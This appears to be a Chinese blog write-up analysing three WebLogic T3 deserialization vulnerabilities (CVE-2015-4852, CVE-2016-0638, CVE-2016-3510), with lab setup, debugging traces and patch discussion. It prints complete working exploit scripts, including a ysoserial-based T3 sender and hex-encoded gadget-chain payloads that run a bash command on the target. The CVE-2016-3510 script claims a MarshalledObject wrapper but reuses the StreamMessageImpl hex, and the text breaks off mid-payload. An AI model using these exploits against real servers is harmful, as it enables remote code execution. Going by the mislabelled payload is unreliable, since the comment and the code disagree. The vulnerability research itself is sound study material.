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Weblogic T3协议漏洞分析(一)

· 2023-01-17 17:57 · 3 阅读

深蓝 2023-01-17 17:57 四川

前言

记录Weblogic漏洞分析过程，参考了很多师傅的分析文章，链接放在后记中。

正文

环境搭建

搭建环境参考：

https://github.com/QAX-A-Team/WeblogicEnvironment

将对应版本的JDK与Weblogic分别放入/jdks和/weblogics目录中：

Oracle官网即可下载：

https://www.oracle.com/java/technologies/downloads/archive/

https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

Oracle WebLogic Server 10.3.6支持的最低JDK版本为JDK1.6， Oracle WebLogic Server 12.1.3支持的最低JDK版本为JDK1.7，Oracle WebLogic Server 12.2.1及以上支持的最低JDK版本为JDK1.8。

Docker构建：

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

由于Centos8已与2022年底停止维护，这里需要提前跟换yum源：

RUN cd /etc/yum.repos.d/RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*

配置远程调试：

kdir ./middlewaredocker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

将docker中的主要lib目录拷贝出来，IDEA直接打开wlserver并将coherence_3.7与modules作为lib导入项目：

同时将/wlserver/server/lib目录作为lib导入：

配置remote调试端口即可：

启动调试：

T3协议：

Weblogic RMI是Weblogic对于Java RMI的实现，其主要使用Weblogic自有的T3协议和基于Corba的IIOP协议进行客户端与服务端之间的传输。

数据包中前四个字符描述数据包长度，而后为T3的协议头，同时每个标准反序列化头部aced0005前会新增一个fe010000字段：

更多内容参考：

https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704

CVE-2015-4852

影响范围：

  • Oracle WebLogic Server 10.3.6.0

  • Oracle WebLogic Server 12.2.1.0

  • Oracle WebLogic Server 12.1.3.0

  • Oracle WebLogic Server 12.1.2.0

漏洞分析：

找了一份sp4z师傅的脚本：

from os import popenimport struct # 负责大小端的转换import subprocessfrom sys import stdoutimport socketimport reimport binascii
def generatePayload(gadget,cmd):    YSO_PATH = "/Users/.../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar"    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)    return popen.stdout.read()
def T3Exploit(ip,port,payload):    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)    sock.connect((ip,port))    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"    sock.sendall(handshake.encode())    data = sock.recv(1024)    compile = re.compile("HELO:(.*).0.false")    match = compile.findall(data.decode())    if match:        print("Weblogic: "+"".join(match))    else:        print("Not Weblogic")        return    header = binascii.a2b_hex(b"00000000")    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")    desflag = binascii.a2b_hex(b"fe010000")    payload = header + t3header  +desflag+  payload    payload = struct.pack(">I",len(payload)) + payload[4:]    sock.send(payload)if __name__ == "__main__":    ip = "127.0.0.1"    port = 7001    gadget = "CommonsCollections1"    cmd = "touch /tmp/success"    payload = generatePayload(gadget,cmd)    T3Exploit(ip,port,payload)

大概利用过程如下：

代码调试：

//wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev.readobject()
private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {    int var2 = var1.read();    switch (var2) {        case 0:            return (new ServerChannelInputStream(var1)).readObject();        case 1:            return var1.readASCII();        default:            throw new StreamCorruptedException("Unknown typecode: '" + var2 + "'");    }}

在此处下断点，可看到已修改后的序列化数据：

通过ServerChannelInputStream.resovleClass()方法加载类：

而ServerChannelInputStream继承自ObjectInputStream，而此处的resolveClass方法也是调用父类方法未有任何处理，故造成反序列化漏洞：

下面就是正常的反序列化利用链流程了。

引用文章中的流程图：

修复方案

Weblogic选择resolveClass中添加类黑名单用于过滤反序列化利用链中所涉及的类，在其中一个补丁包中我们可以看到这个isBlackListed方法：

来自ClassFilter，过滤反序列化攻击所使用的关键类：

package weblogic.rmi;
import java.util.HashSet;import java.util.StringTokenizer;
public abstract class ClassFilter {  static final String BLACK_LIST_PROPERTY = "weblogic.rmi.blacklist";
  static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = "weblogic.rmi.disabledefaultblacklist";
  static final String DISABLE_BLACK_LIST_PROPERTY = "weblogic.rmi.disableblacklist";
  private static final String DEFAULT_BLACK_LIST = "+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure";
  private static final HashSet<String> BLACK_LIST = new HashSet<String>();
  static {    if (!isBlackListDisabled()) {      if (!isDefaultBlacklistEntriesDisabled())        updateBlackList("+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure");       updateBlackList(System.getProperty("weblogic.rmi.blacklist", null));    }   }
  private static boolean isBlackListDisabled() {    return Boolean.getBoolean("weblogic.rmi.disableblacklist");  }
  private static boolean isDefaultBlacklistEntriesDisabled() {    return Boolean.getBoolean("weblogic.rmi.disabledefaultblacklist");  }
  private static void updateBlackList(String blackList) {    if (blackList != null) {      StringTokenizer st = new StringTokenizer(blackList, ",");      while (st.hasMoreTokens()) {        String token = st.nextToken();        processToken(token);      }     }   }
  private static void processToken(String token) {    if (token.startsWith("+")) {      BLACK_LIST.add(token.substring(1));    } else if (token.startsWith("-")) {      BLACK_LIST.remove(token.substring(1));    } else {      BLACK_LIST.add(token);    }   }
  public static boolean isBlackListed(String className) {    String pkgName;    if (className.length() > 0 && BLACK_LIST.contains(className))      return true;     try {      pkgName = className.substring(0, className.lastIndexOf('.'));    } catch (Exception ignored) {      return false;    }     return (pkgName.length() > 0 && BLACK_LIST.contains(pkgName));  }}

这个黑名单主要作用于三个类的resolveClass方法：

weblogic.iiop.Utils.class weblogic.rjvm.MsgAbbrevInputStream.classweblogic.rjvm.InboundMsgAbbrev.class

同时也有师傅提到，开放在外网的情况下，还可以采用web代理和负载均衡。

  • web代理的方式只能转发HTTP的请求，而不会转发T3协议的请求，这就能防御住T3漏洞的攻击。

  • 负载均衡的情况下，可以指定需要进行负载均衡的协议类型，这么这里就可以设置为HTTP的请求，不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。


CVE-2016-0638

影响范围：

  • Oracle WebLogic Server 10.3.6.0

  • Oracle WebLogic Server 12.2.1.0

  • Oracle WebLogic Server 12.1.3.0

  • Oracle WebLogic Server 12.1.2.0

漏洞分析：

上文中我们提到，补丁对weblogic.iiop.Utils.class，weblogic.rjvm.MsgAbbrevInputStream.class，weblogic.rjvm.InboundMsgAbbrev.class三个类中的反序列化过程进行了黑名单过滤，而在weblogic.jms.common.StreamMessageImpl类的readExternal方法中同样存在readObject操作:

所以我们需自定义实现一个StreamMessageImpl类。

观察其writeExternal与readExternal方法可见，我们需要自定义实现一个writeExternal逻辑将payload写入序列化过程：

public void writeExternal(ObjectOutput var1) throws IOException {    super.writeExternal(var1);    int var3 = Integer.MAX_VALUE;    ObjectOutput var2;    if (var1 instanceof MessageImpl.JMSObjectOutputWrapper) {        var3 = ((MessageImpl.JMSObjectOutputWrapper)var1).getCompressionThreshold();        var2 = ((MessageImpl.JMSObjectOutputWrapper)var1).getInnerObjectOutput();    } else {        var2 = var1;    }
    byte var4;    if (this.getVersion(var2) >= 30) {        var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));    } else {        var4 = 2;    }
    var2.writeByte(var4);    if (this.isCompressed()) {        if (var4 == 2) {            this.decompress().writeLengthAndData(var2);        } else {            this.flushCompressedMessageBody(var2);        }
    } else {        Object var5;        if (this.bos != null) {            var5 = this.bos;        } else {            if (this.payload == null) {                var2.writeInt(0);                return;            }
            var5 = this.payload;        }
        if ((var4 & -128) != 0) {            this.writeExternalCompressPayload(var2, (Payload)var5);        } else {            ((Payload)var5).writeLengthAndData(var2);        }
    }}
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {    super.readExternal(var1);    byte var2 = var1.readByte();    byte var3 = (byte)(var2 & 127);    if (var3 >= 1 && var3 <= 3) {        switch (var3) {            case 1:                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);                BufferInputStream var4 = this.payload.getInputStream();                ObjectInputStream var5 = new ObjectInputStream(var4);                this.setBodyWritable(true);                this.setPropertiesWritable(true);
                try {                    while(true) {                        this.writeObject(var5.readObject());                    }                } catch (EOFException var9) {                    try {                        this.reset();                        this.setPropertiesWritable(false);                        PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();                        this.payload = var7;                    } catch (JMSException var8) {                        JMSClientExceptionLogger.logStackTrace(var8);                    }                } catch (MessageNotWriteableException var10) {                    JMSClientExceptionLogger.logStackTrace(var10);                } catch (javax.jms.MessageFormatException var11) {                    JMSClientExceptionLogger.logStackTrace(var11);                } catch (JMSException var12) {                    JMSClientExceptionLogger.logStackTrace(var12);                }                break;            case 3:                if ((var2 & -128) != 0) {                    this.readExternalCompressedMessageBody(var1);                    break;                }            case 2:                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);        }
    } else {        throw JMSUtilities.versionIOException(var3, 1, 3);    }}

参考项目代码：

https://github.com/zhzhdoai/Weblogic_Vuln

自实现一个writeExternal逻辑：

public void writeExternal(ObjectOutput var1) throws IOException {    super.writeExternal(var1);    ByteArrayOutputStream var2 = new ByteArrayOutputStream();    ObjectOutputStream var3 = new ObjectOutputStream(var2);
    try {        var3.writeObject("payload_here");        var3.flush();    } catch (IllegalAccessException e) {        e.printStackTrace();    } catch (InvocationTargetException e) {        e.printStackTrace();    } catch (InstantiationException e) {        e.printStackTrace();    } catch (NoSuchMethodException e) {        e.printStackTrace();    } catch (ClassNotFoundException e) {        e.printStackTrace();    }    byte[] var5 = var2.toByteArray();    var1.writeByte(1);    var1.writeInt(var5.length);    var1.write(var5);    }

为方便调试稍微改了一下weblogicScaner的poc:‍

import binasciiimport socketimport structimport subprocessimport timefrom multiprocessing.managers import SyncManagerfrom typing import Any, Dict, List, Mapping, Tuple, Union
from stars import target_type, Star
def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -> (bool, dict):        # T3协议握手        dport = int(dport)        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        sock.settimeout(timeout)        try:            sock.connect((dip, dport))        except socket.timeout:            return False, {'msg': 'connection timeout.'}        except ConnectionRefusedError:            return False, {'msg': 'connection refuse.'}        sock.send(bytes.fromhex(            '74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))        time.sleep(delay)        sock.recv(1024)
        # 构造T3协议头        data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'        data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format(            '{:04x}'.format(dport))        data3 = '1a7727000d3234322e323134'        data4 = '2e312e32353461863d1d0000000078'        for d in [data1, data2, data3, data4]:            sock.send(bytes.fromhex(d))        payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'                # -------- 经StreamMessageImpl封装的反序列化利用链payload --------        payload += 'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78'                # ------------------------------------------------------        payload += 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'        payload = '%s%s' % ('{:08x}'.format(len(payload) // 2 + 4), payload)        sock.send(bytes.fromhex(payload))        time.sleep(delay)        try:            res = sock.recv(4096)            print(res)            return b'weblogic.jms.common.StreamMessageImpl' in res, {'msg': 'finish.'}        except socket.timeout:            return False, {'msg': 'connection timeout.'}
if __name__ == "__main__":    ip = "127.0.0.1"    port = 7001    light_up(dip=ip,dport=port)

跟一下代码：

readExternal:1396, StreamMessageImpl (weblogic.jms.common)readExternalData:1835, ObjectInputStream (java.io)readOrdinaryObject:1794, ObjectInputStream (java.io)readObject0:1348, ObjectInputStream (java.io)readObject:370, ObjectInputStream (java.io)readObject:66, InboundMsgAbbrev (weblogic.rjvm)read:38, InboundMsgAbbrev (weblogic.rjvm)readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)init:213, MsgAbbrevInputStream (weblogic.rjvm)dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)readReadySocketOnce:967, SocketMuxer (weblogic.socket)readReadySocket:899, SocketMuxer (weblogic.socket)processSockets:130, PosixSocketMuxer (weblogic.socket)run:29, SocketReaderRequest (weblogic.socket)execute:42, SocketReaderRequest (weblogic.socket)execute:145, ExecuteThread (weblogic.kernel)run:117, ExecuteThread (weblogic.kernel)

同样通过InboundMsgAbbrev为入口进行数据的read操作，但由于我们实现了StreamMessageImpl接口，反序列化过程将通过readOrdinaryObject方法调用readExternalData，进而进入到StreamMessageImpl.readExternal中绕过黑名单检测触发二次反序列化。

从流量特征上看并无太多变化，主要还是weblogic.jms.common.StreamMessageImpl类的出现，而weblogicScaner也是基于response来判断vulnerability：


CVE-2016-3510

影响范围：

  • Oracle WebLogic Server 10.3.6.0

  • Oracle WebLogic Server 12.2.1.0

  • Oracle WebLogic Server 12.1.3.0

  • Oracle WebLogic Server 12.1.2.0

漏洞分析：

同样是对补丁黑名单的绕过，这次使用的是weblogic.corba.utils.MarshalledObject这个类：

public MarshalledObject(Object var1) throws IOException {    if (var1 == null) {        this.hash = 13;    } else {        ByteArrayOutputStream var2 = new ByteArrayOutputStream();        MarshalledObjectOutputStream var3 = new MarshalledObjectOutputStream(var2);        var3.writeObject(var1);        var3.flush();        this.objBytes = var2.toByteArray();        int var4 = 0;
        for(int var5 = 0; var5 < this.objBytes.length; ++var5) {            var4 = 31 * var4 + this.objBytes[var5];        }
        this.hash = var4;    }}
public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {    if (this.objBytes == null) {        return null;    } else {        ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);        ObjectInputStream var2 = new ObjectInputStream(var1);        Object var3 = var2.readObject();        var2.close();        return var3;    }}

MarshalledObject并未重写readObject方法或实现readExternal方法，使用原生的ObjectInputStream方法实现反序列化。

weblogic.corba.utils.MarshalledObject marshalledObject = new MarshalledObject(payload_here);

直接用MarshalledObject的构造方法生成对象，封装反序列化流：

还是使用上文中的poc脚本：

import binasciiimport socketimport structimport subprocessimport timefrom multiprocessing.managers import SyncManagerfrom typing import Any, Dict, List, Mapping, Tuple, Union
from stars import target_type, Star
def light_up( dip, dport, force_ssl=None, delay=1, timeout=5, *args, **kwargs) -> (bool, dict):        # T3协议握手        dport = int(dport)        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        sock.settimeout(timeout)        try:            sock.connect((dip, dport))        except socket.timeout:            return False, {'msg': 'connection timeout.'}        except ConnectionRefusedError:            return False, {'msg': 'connection refuse.'}        sock.send(bytes.fromhex(            '74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))        time.sleep(delay)        sock.recv(1024)
        # 构造T3协议头        data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'        data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format(            '{:04x}'.format(dport))        data3 = '1a7727000d3234322e323134'        data4 = '2e312e32353461863d1d0000000078'        for d in [data1, data2, data3, data4]:            sock.send(bytes.fromhex(d))        payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'                # -------- 经MarshalledObject封装的反序列化利用链payload --------        payload += 'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612